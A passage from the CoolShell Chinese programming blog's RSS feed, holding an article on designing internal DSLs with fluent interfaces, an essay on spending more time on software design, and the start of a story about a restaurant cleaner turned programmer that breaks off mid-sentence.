（Todd）向酷壳投递本文。</strong></p>\n<p>程序设计语言的抽象机制包含了两个最基本的方面：一是语言关注的基本元素/语义；另一个是从基本元素/语义到复合元素/语义的构造规则。在C、C++、Java、C#、Python等通用语言中，语言的基本元素/语义往往离问题域较远，通过API库的形式进行层层抽象是降低问题难度最常用的方法。比如，在C语言中最常见的方式是提供函数库来封装复杂逻辑，方便外部调用。</p>\n<p>不过普通的API设计方法存在一种天然的陷阱，那就是不管怎样封装，大过程虽然比小过程抽象层次更高，但本质上还是过程，受到过程语义的制约。也就是说，通过基本元素/语义构造更高级抽象元素/语义的时候，语言的构造规则很大程度上限制了抽象的维度，我们很难跳出这个维度去，甚至可能根本意识不到这个限制。而SQL、HTML、CSS、make等DSL（领域特定语言）的抽象维度是为特定领域量身定做的，从这些抽象角度看问题往往最为简单，所以DSL在解决其特定领域的问题时比通用程序设计语言更加方便。通常，SQL等非通用语言被称为外部DSL（External DSL）；在通用语言中，我们其实也可以在一定程度上突破语言构造规则的抽象维度限制，定义内部DSL（Internal DSL）。</p>\n<p>本文将介绍一种被称为流畅接口（Fluent Interface）的内部DSL设计方法。Wikipedia上<a title=\"Fluent Interface\" href=\"http://en.wikipedia.org/wiki/Fluent_interface\">Fluent Interface</a>的定义是：</p>\n<blockquote><p>A fluent interface (as first coined by Eric Evans and Martin Fowler) is an implementation of an object oriented API that aims to provide for more readable code. A fluent interface is normally implemented by using method chaining to relay the instruction context of a subsequent call (but a fluent interface entails more than just method chaining).</p></blockquote>\n<div>\n<p>下面将分4个部分来逐步说明流畅接口在构造内部DSL中的典型应用。</p>\n</div>\n<h4><strong>1. 基本语义抽象</strong></h4>\n<p>如果要输出0..4这5个数，我们一般会首先想到类似这样的代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n//Java\nfor (int i = 0; i &lt; 5; ++i) {\n    system.out.println(i);\n}</pre>\n<p><span id=\"more-5709\"></span></p>\n<p>而Ruby虽然也支持类似的for循环，但最简单的是下面这样的实现：</p>\n<pre data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\">\n//Ruby\n5.times {|i| puts i}</pre>\n<p>Ruby中一切皆对象，5是Fixnum类的实例，times是Fixnum的一个方法，它接受一个block参数。相比for循环实现，Ruby的times方式更简洁，可读性更强，但熟悉OOP的朋友可能会有疑问，times是否应该作为整型类的方法呢？在OOP中，方法调用通常代表了向对象发送消息，改变或查询对象的状态，times方法显然不是对整型对象状态的查询和修改。如果你是Ruby的设计者，你会把times方法放入Fixnum类吗？如果答案是否定的，那么Ruby的这种设计本质上代表了什么呢？实际上，这里的times虽然只是一个普通的类方法，但它的目的却与普通意义上的类方法不同，它的语义实际上类似于for循环这样的语言基本语义，可以被视为一种自定义的基本语义。times的语义从一定程度上跳出了类方法的框框，向问题域迈进了一步！</p>\n<p>另一个例子来自Eric Evans的“用两个时间点构造一个时间段对象”，普通设计：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n//Java\nTimePoint fiveOClock, sixOClock;\nTimeInterval meetingTime = new TimeInterval(fiveOClock, sixOClock);</pre>\n<p>另一种Evans的设计是这样：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n//Java\nTimeInterval meetingTime = fiveOClock.until(sixOClock);</pre>\n<p>按传统OO设计，until方法本不应出现在TimePoint类中，这里TimePoint类的until方法同样代表了一种自定义的基本语义，使得表达时间域的问题更加自然。</p>\n<p>虽然上面的两个简单例子和普通设计相比看不出太大的优势，但它却为我们理解流畅接口打下了基础。重要的是应该体会到它们从一定程度上跳出了语言基本抽象机制的束缚，我们不应该再用类职责划分、迪米特法则（Law of Demeter）等OO设计原则来看待它们。</p>\n<h4><strong>2. 管道抽象</strong></h4>\n<p>在Shell中，我们可以通过管道将一系列的小命令组合在一起实现复杂的功能。管道中流动的是单一类型的文本流，计算过程就是从输入流到输出流的变换过程，每个命令是对文本流的一次变换作用，通过管道将作用叠加起来。在Shell中，很多时候我们只需要一句话就能完成log统计这样的中小规模问题。和其他抽象机制相比，管道的优美在于无嵌套。比如下面这段C程序，由于嵌套层次较深，不容易一下子理解清楚：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n//C\nmin(max(min(max(a,b),c),d),e)\n</pre>\n<p>而用管道来表达同样的功能则清晰得多：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n#!/bin/bash\nmax a b | min c | max d | min e\n</pre>\n<p>我们很容易理解这段程序表达的意思是：先求a, b的最大值；再把结果和c取最小值；再把结果和d求最大值；再把结果和e求最小值。</p>\n<p>jQuery的链式调用设计也具有管道的风格，方法链上流动的是同一类型的jQuery对象，每一步方法调用是对对象的一次作用，整个方法链将各个方法的作用叠加起来。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n//Javascript\n$(&#039;li&#039;).filter(&#039;:event&#039;).css(&#039;background-color&#039;, &#039;red&#039;);\n</pre>\n<h4>3. 层次结构抽象</h4>\n<p>除了管道这种“线性”结构外，流畅接口还可用于构造层次结构抽象。比如，用Javascript动态创建创建下面的HTML片段：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;div id=&quot;’product_123’&quot; class=&quot;’product’&quot;&gt;\n&lt;img src=&quot;’preview_123.jpg’&quot; alt=&quot;&quot; /&gt;\n&lt;ul&gt;\n\t&lt;li&gt;Name: iPad2 32G&lt;/li&gt;\n\t&lt;li&gt;Price: 3600&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/div&gt;\n\n</pre>\n<p>若采用Javascript的DOM API：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n//Javascript\nvar div = document.createElement(&#039;div&#039;);\ndiv.setAttribute(‘id’, ‘product_123’);\ndiv.setAttribute(‘class’, ‘product’);\n\nvar img = document.createElement(&#039;img&#039;);\nimg.setAttribute(‘src’, ‘preview_123.jpg’);\ndiv.appendChild(img);\n\nvar ul = document.createElement(&#039;ul&#039;);\nvar li1 = document.createElement(&#039;li&#039;);\nvar txt1 = document.createTextNode(&quot;Name: iPad2 32G&quot;);\nli1.appendChild(txt1);\n…\ndiv.appendChild(ul);</pre>\n<p>而下面流畅接口API则要有表现力得多：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n//Javascript\nvar obj =\n$.div({id:’product_123’, class:’product’})\n    .img({src:’preview_123.jpg’})\n    .ul()\n        .li().text(‘Name: iPad2 32G’)._li()\n        .li().text(‘Price: 3600’)._li()\n    ._ul()\n ._div();</pre>\n<div>和Javascript的标准DOM API相比，上面的API设计不再局限于孤立地看待某一个方法，而是考虑了它们在解决问题时的组合使用，所以代码的表现形式特别贴近问题的本质。这样的代码是自解释的（self-explanatory）在可读性方面要明显胜于DOM API，这相当于定义了一种类似于HTML的内部DSL，它拥有自己的语义和语法。需要特别注意的是，上面的层次结构抽象和管道抽象有着本质的不同，管道抽象的方法链上通常是同一对象的连续传递，而层次抽象中方法链上的对象却在随着层次的变化而变化。此为，我们可以把业务规则也表达在流畅接口中，比如上面的例子中，body()不能包含在div()返回的对象中，div().body()将抛出&#8221;body方法不存在”异常。</div>\n<h4><strong>4. 异步抽象</strong></h4>\n<div>流畅接口不仅可以构造复杂的层次抽象，还可以用于构造异步抽象。在基于回调机制的异步模式中，多个异步调用的同步和嵌套问题是使用异步的难点所在。有时一个稍复杂的调用和同步关系会导致代码充满了复杂的同步检查和层层回调，难以理解和维护。这个问题从本质上讲和上面HTML的例子一样，是由于多数通用语言并未把异步作为基本元素/语义，许多异步实现模式是向语言的妥协。针对这个问题，我用Javascript编写了一个基于流畅接口的异步DSL，示例代码如下：</div>\n<div>[javascript]<br />\n//Javascript<br />\n$.begin()<br />\n    .async(newTask(&#8216;task1&#8217;), &#8216;task1&#8217;)<br />\n    .async(newTask(&#8216;task2&#8217;), &#8216;task2&#8217;)<br />\n    .async(newTask(&#8216;task3&#8217;), &#8216;task3&#8217;)<br />\n.when()<br />\n    .each_done(function(name, result) {<br />\n        console.log(name + &#8216;: &#8216; + result);})<br />\n    .all_done(function(){ console.log(&#8216;good, all completed&#8217;); })<br />\n    .timeout(function(){<br />\n        console.log(&#8216;timeout!!&#8217;);<br />\n        $.begin()<br />\n            .async(newTask(&#8216;task4&#8217;), &#8216;task4&#8217;)<br />\n        .when()<br />\n            .each_done(function(name, result) {<br />\n                console.log(name + &#8216;: &#8216; + result); })<br />\n        .end();}<br />\n        , 3000)<br />\n.end();[/javascript]</p>\n</div>\n<div>上面的代码只是一句Javascript调用，但从另一个角度看它却像一段描述异步调用的DSL程序。它通过流畅接口定义了begin when end的语法结构，begin后面跟的是启动异步调用的代码；when后面是异步结果处理，可以选择each_done, all_done, timeout中的一种或多种。而begin when end结构本身是可以嵌套的，比如上面的代码在timeout处理分支中就包含了另一个begin when end结构。通过这个DSL，我们可以比基于回调的方式更好地表达异步调用的同步和嵌套关系。</div>\n<p>上面介绍了用流畅接口构造的4种典型抽象，出此之外还有很多其他的抽象和应用场合，比如：不少单元测试框架就通过流畅接口定义了单元测试的DSL。虽然上面的例子以Javascript等动态语言居多，但其实流畅接口所依赖的语法基础并不苛刻，即使在Java这样的静态语言中，同样可以轻松地使用。流畅接口不同于传统的API设计，理解和使用流畅接口关键是要突破语言抽象机制带来的定势思维，根据问题域选取适当的抽象维度，利用语言的基本语法构造领域特定的语义和语法。</p>\n<p><strong>参考</strong></p>\n<ul>\n<li><a title=\"Wikipedia: Fluent Interface\" href=\"http://en.wikipedia.org/wiki/Fluent_interface\">Wikipedia: Fluent Interface</a></li>\n<li><a title=\"Martin Fowler: Fluent Interface\" href=\"http://www.martinfowler.com/bliki/FluentInterface.html\">Martin Fowler: Fluent Interface</a></li>\n<li><a title=\"jQuery is DSL\" href=\"http://www.cnblogs.com/cathsfz/archive/2009/08/10/1543266.html\">jQuery is DSL</a></li>\n<li><a title=\"An Approach to Internal Domain-Specific Languages in Java\" href=\"http://www.infoq.com/articles/internal-dsls-java\">An Approach to Internal Domain-Specific Languages in Java</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/ediff-small-150x150.png\" alt=\"一些杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_title\">一些杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5709.html\">API设计：用流畅接口构造内部DSL</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5709.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>多些时间能少写些代码</title>\n\t\t<link>https://coolshell.cn/articles/5686.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5686.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 25 Oct 2011 00:24:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5686</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我在我的微博上说过这样一段话，我想在这里把我的这个观点阐述地更完整一些。 @左耳朵耗子：聪明的程序员使用50%-70%的时间用来思考，尝试和权衡各种设计和实现，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5686.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我在我的微博上说过<a href=\"http://weibo.com/1401880315/xmYMteUWT\" target=\"_blank\">这样一段话</a>，我想在这里把我的这个观点阐述地更完整一些。</p>\n<blockquote><p><a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>：聪明的程序员使用50%-70%的时间用来思考，尝试和权衡各种设计和实现，而用30% &#8211; 50%的时间是在忙碌着编码，调试和测试。聪明的老板也会让团队这样做。而傻逼的老板，苦逼的程序员会拿出来100%-150%的时间来忙着赶进度，返工，重构，fix 大量的bug… 所以， 越差的团队一般会越忙，而且还忙不完。</p></blockquote>\n<p>在现在这个浮躁的时期，再加上敏捷咨询师们念的歪经，他们让人感觉上就像是软件产品是可以在很短的时间内高质量的完成的，这令那些管理者们很兴奋，就像巴甫洛夫的条件反射实验中的狗看到了肉就会流口水那样兴奋。他们使用TDD，快速迭代，不断重构，持续集成直至持续部署的方法在进行软件开发。</p>\n<p>软件开发真是这样的吗？难道不需要花时间去思考吗？对此，有些观点在Todd的《<a title=\"“品质在于构建过程”吗？\" href=\"https://coolshell.cn/articles/5625.html\" target=\"_blank\">“品质在于构建过程”吗？</a>》以及《<a title=\"Bob大叔和Jim Coplien对TDD的论战\" href=\"https://coolshell.cn/articles/4891.html\" target=\"_blank\">Bob大叔和Jim Coplien对TDD的论战</a>》中谈到过了。我只想想表达下面的观点：</p>\n<ul>\n<li><strong>软件的精髓在于设计，设计是一件很费大脑的事件</strong>。对于软件来说，设计没有完美的，它总是一件需要取舍需要权衡的事，比如：时间换空间，空间换时间，TCP或UDP，同步还是异步，数据冗余还不冗余等等。那怕是一个小小的observers模式是pull方式还是push方式 都需要仔细讨论。这些的东西需要时间和做前期尝试。</li>\n</ul>\n<ul>\n<li><strong>TDD</strong>、<strong>快速原型和迭代可能会对软件和团队产生负面影响</strong>。在一开始，你需要花很大的精力来让你的软件从无到有（做过软件的人都知道，从零开始写代码是很痛苦的事），但是因为你没有想好，先做再说，所以，后期你会面临更多的质量问题而让你需要花更多的时间精力。当然，那些咨询师会让你用持续集成和持续部署这样的方法。但我想告诉你，这并不解决你软件设计的缺陷。举个例子——TDD、迭代、原型只关注功能性需求，其不会关注非功能性需求，比如性能问题，高可用性问题，系统维护问题（模块的耦合问题），等等。而这些问题往往都可以让你的软件设计重新来过。</li>\n</ul>\n<ul>\n<li><strong>重构是恶梦，重构应该越少越好</strong>。当你维护一个复杂的系统时你会知道重构是一件多么恐怖的事情（参看《<a title=\"重构代码的7个阶段\" href=\"https://coolshell.cn/articles/5201.html\" target=\"_blank\">重构代码的7个阶段</a>》）。如果一开始没有想好，你要面临的不单单是re-design, re-architect，还要面对时间和人力成本的增加，最难的是你还要面对的是团队士气因为不断的rework而逐渐低落并产生厌倦和懈怠情绪。</li>\n</ul>\n<p><span id=\"more-5686\"></span></p>\n<p>所以，如果你能有多一些时间去和客户讨论一下需求和未来可能的变化，去调查一下实现的技术难点和细节，去和其他有经验的人讨论并推敲一下架构和设计，去思考设计上的缺陷，那么，你的coding会变得非常地直，直到你一眼就看到尽头，你的测试案例也会写得非常地好，你会几乎不需要重构，于是，你会在未来少写很多代码，从而你的软件开发会越来越轻松，直到技术开始换代。</p>\n<p>我现在在做的项目，花了几乎4个月的时间来做设计，在这个过程中，我们反复思考、讨论和权衡若干种实现方法，并尽可能地穷举所有的场景和细节以及未来可能的变化（那怕是那些简单的模块），有个模块被重写了至少三次，每次都是写到一半就被推翻重写，我们整个团队不断地在和其它团队讨论，并在对系统不断地认识中对系统进行简化和优化，并力求达到完美。现在看来，没有贸然使用Scrum是明智的。</p>\n<p>这就好像我们修路造桥一样，我们需要花大量的时间勘测地形地质，分析数据，思考可能出现的各种问题（各种自然灾害），评估不同的设计方案，而不是先尽快建好再说。</p>\n<p>所以，<strong>多一些时间，不是让你多做几次迭代，多完成几个模块，而是可以让你少写一些代码，更快的交付一个更好的产品</strong>。</p>\n<p>我相信你会有很多疑问，下面是我觉得你可能会有下面的一些观点，让我一条一条来回复：</p>\n<ul>\n<li><strong>首当其冲的一定会是项目的deadline，或是那种你没有活语权的项目。</strong>比如做那种“甲乙方合同式的项目”，我把这种项目统一认为是“外包项目”，在这种项目性质下，你很难有话语权。对此，我觉得，1）作为乙方的你还是应该和甲方在项目计划上争取一下，晓之以情，动之以理。2）如果不行，只能在时间、需求范围和质量上做一个权衡。另外，<strong>在这种情况下你要找一个方法，把你的压力和痛苦分担给用户和领导。</strong>（找到这个方法的前提需要你找到用户和领导他们害怕什么，嘿嘿）</li>\n</ul>\n<ul>\n<li><strong>过度设计和纸上谈兵</strong>。有人说会不会设计太多，造成过度设计，或是在设计上花太多的时间。这有可能。我上一家公司的一个项目团队就花了1年多的时间来不停不停的开会和做设计，结果release的时候还有1000多个bug。这个问题的原因是，这个团队的设计是在纸上谈兵，开会是开神仙会，讨论的设计都是浮云。所以，<strong>设计并不是讨论和思考，还需要去尝试，</strong>我认为当你的设计完成的时候，你的骨干核心代码都基本完成了。</li>\n</ul>\n<ul>\n<li><strong>我的团队成员水平太差，不会思考</strong>。首先，先恭喜你找到一堆码农，当然，这不怪你，这是中国教育和大环境的问题，让人不会思考。对于这样的情况，我有两个建议，1）量力而行，使多大的碗就吃多少饭。2）鼓励思考，那怕那些想法很不靠谱，因为如果不开始，那么将永远不会思考。</li>\n</ul>\n<ul>\n<li><strong>必需使用快速迭代</strong>。很多公司都在强行上敏捷，他们希望产品越快release越好，而没有充分的时间思考和讨论。对于这种项目，我的建议是，1）找有丰富经验的人来做。2）迭代过程中力求架构和程序逻辑的简单，简单，再简单，力求代码间的高内聚，低耦合。不然，重构的时候你就好玩了。</li>\n</ul>\n<ul>\n<li><strong>创业团队必需要快</strong>。做得快就是做得好吗？很多时候，不是谁快谁就能笑到最后的。这样的例子太多了。第一个做出来的人并不一定就会占领市场，其很有可能会成为先驱。</li>\n</ul>\n<ul>\n<li><strong>有钱的公司才会让团队用更多的时间去思考</strong>。错了，你们没有见过有钱的公司，有钱的公司可以招一堆干不成活的人，可以把事搞乱了再新来过，甚至可以把做失败的项目换个名字再重新立项。这些真正的有钱的公司只求快，只求人多，不怕做错决定。像我们这些没钱的人，干什么事都是小心翼翼地，生怕做错决定。</li>\n</ul>\n<p>关于软件项目管理的文章，还可以参看《<a title=\"软件公司的两种管理方式\" href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a>》，最后，欢迎大家表达观点。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5686.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>118</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Stay Hungry, Stay Foolish ！！</title>\n\t\t<link>https://coolshell.cn/articles/5651.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5651.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 20 Oct 2011 00:26:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5651</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在整个社会都在关注乔帮主的时候，我想在这里和大家分享一个真实的就在我们程序员身边的故事。和我在《如果你看不见你还能编吗？》一文里介绍的那些盲人程序员一样，同样是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5651.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5651.html\">Stay Hungry, Stay Foolish ！！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在整个社会都在关注乔帮主的时候，我想在这里和大家分享一个真实的就在我们程序员身边的故事。和我在《<a title=\"如果你看不见你还能编程吗？\" href=\"https://coolshell.cn/articles/5514.html\" target=\"_blank\">如果你看不见你还能编吗？</a>》一文里介绍的那些盲人程序员一样，<strong>同样是Stay Hungry， Stay Foolish。但我个人更认为我今天想要给大家讲述的这个故事对于我们这些普通人更有意义一些。我真心的希望大家认真看完这个“从刷厕所到程序员”故事后，我们能从中感悟到点什么</strong>。</p>\n<p>因为朋友的原因，我和一个创业团队经常有些往来，通过这个团队，我认识了这个故事的主人翁——王平（<a href=\"http://weibo.com/wpingsuper\" target=\"_blank\">@wpingsuper</a>）。其实，很早前他在Google Reader和Buzz里follow了我，但我从没和他交流过。而他的经历我却是在上周末去看望这个创业团队的时候才听说。我问他们要了王平的电话，联系了王平，详细地了解了王平的经历，并征得他的同意，在这里给大家分享他的故事。</p>\n<p>王平是一个贵州人，03年大学毕业，体育专业，没有任何家庭背景，只能在贵州的山区里的一个中学里当体育老师，月薪150元。可能和大多数心怀梦想的年轻人一样，他并不甘心，从03年到05年间，他有好多次到北京，他觉得在大城市里有他的梦想。于是，他在04年底，05年初，他正式来到了北京，因为大学专业的问题，他无法找像大学生一样找到不错的工作，那时的他只能在北京一家很小的餐馆当清洁工，他在餐馆里洗盘子，扫地，刷厕所，一个月400元钱。</p>\n<p>因为他的学历是这个小餐馆里学历最高的，所以，餐馆里出了什么事都会让他对去搞，所以，财务使用的电脑有了故障也让他去修，当时的他根本对电脑完全不知道是怎么一回事，但是自从接触了电脑以后他就迷上了电脑。他和我说，他这个人就是好奇心强，好动，什么都想弄一弄，所以，时间长了，弄得多了，也能为餐饮解决一些没有懂的问题，维护财务电脑就是其中之一。日子一长，虽然还是刷厕所，但是薪水也涨到了800元一个月，就连餐馆的大厨也对他说，他不属于这里，他将来一定会有前途的。当时的他还觉得不可能，笑了笑就过了。</p>\n<p><span id=\"more-5651\"></span></p>\n<p>直到07年的一天，餐馆的会计对他说——“看你对电脑那么有兴趣，你应该去学习一下电脑”，这句话点醒了他。于是他在报纸上找到了一个教做网页的培训班，培训分成三期，近一年，每期需要7000元钱，好心的那个会计给了他6000元钱，让他可以在周末参加这个培训班。他和我说，这个会计是他的贵人，换钱的时候她也比较推辞，至今他也还和那位会计老师保持联系。</p>\n<p>不过好景不长，只上了一期，问题来了，餐馆周末也要上班，他无法去参加培训班了。所以，他只好辞职，去了中日友好医院，当一个送药工，就是用板车把药从这个地方送到另一个地方，全是体力活，一个月只有200元钱，不过他有了周末可以去培训班的那个时间。但是钱也花完了，上了两期都没法继续了。他和我说，当时觉得只要能活着就行，吃不饱无所谓。</p>\n<p>此时的他虽然上了网页制作的培训班，但是因为没有实际做一个东西，所以就算是培训了也什么都不懂。这时他看到Java是一个很不错的方向，所以，想学Java。于是，08年初的时候，他用自己以前办的信用卡向银行申请了个人贷款，去报了一个需要14000多元的Java的培训班。此时，他认识了我的朋友——阎斌（<a href=\"http://weibo.com/yanbin001\" 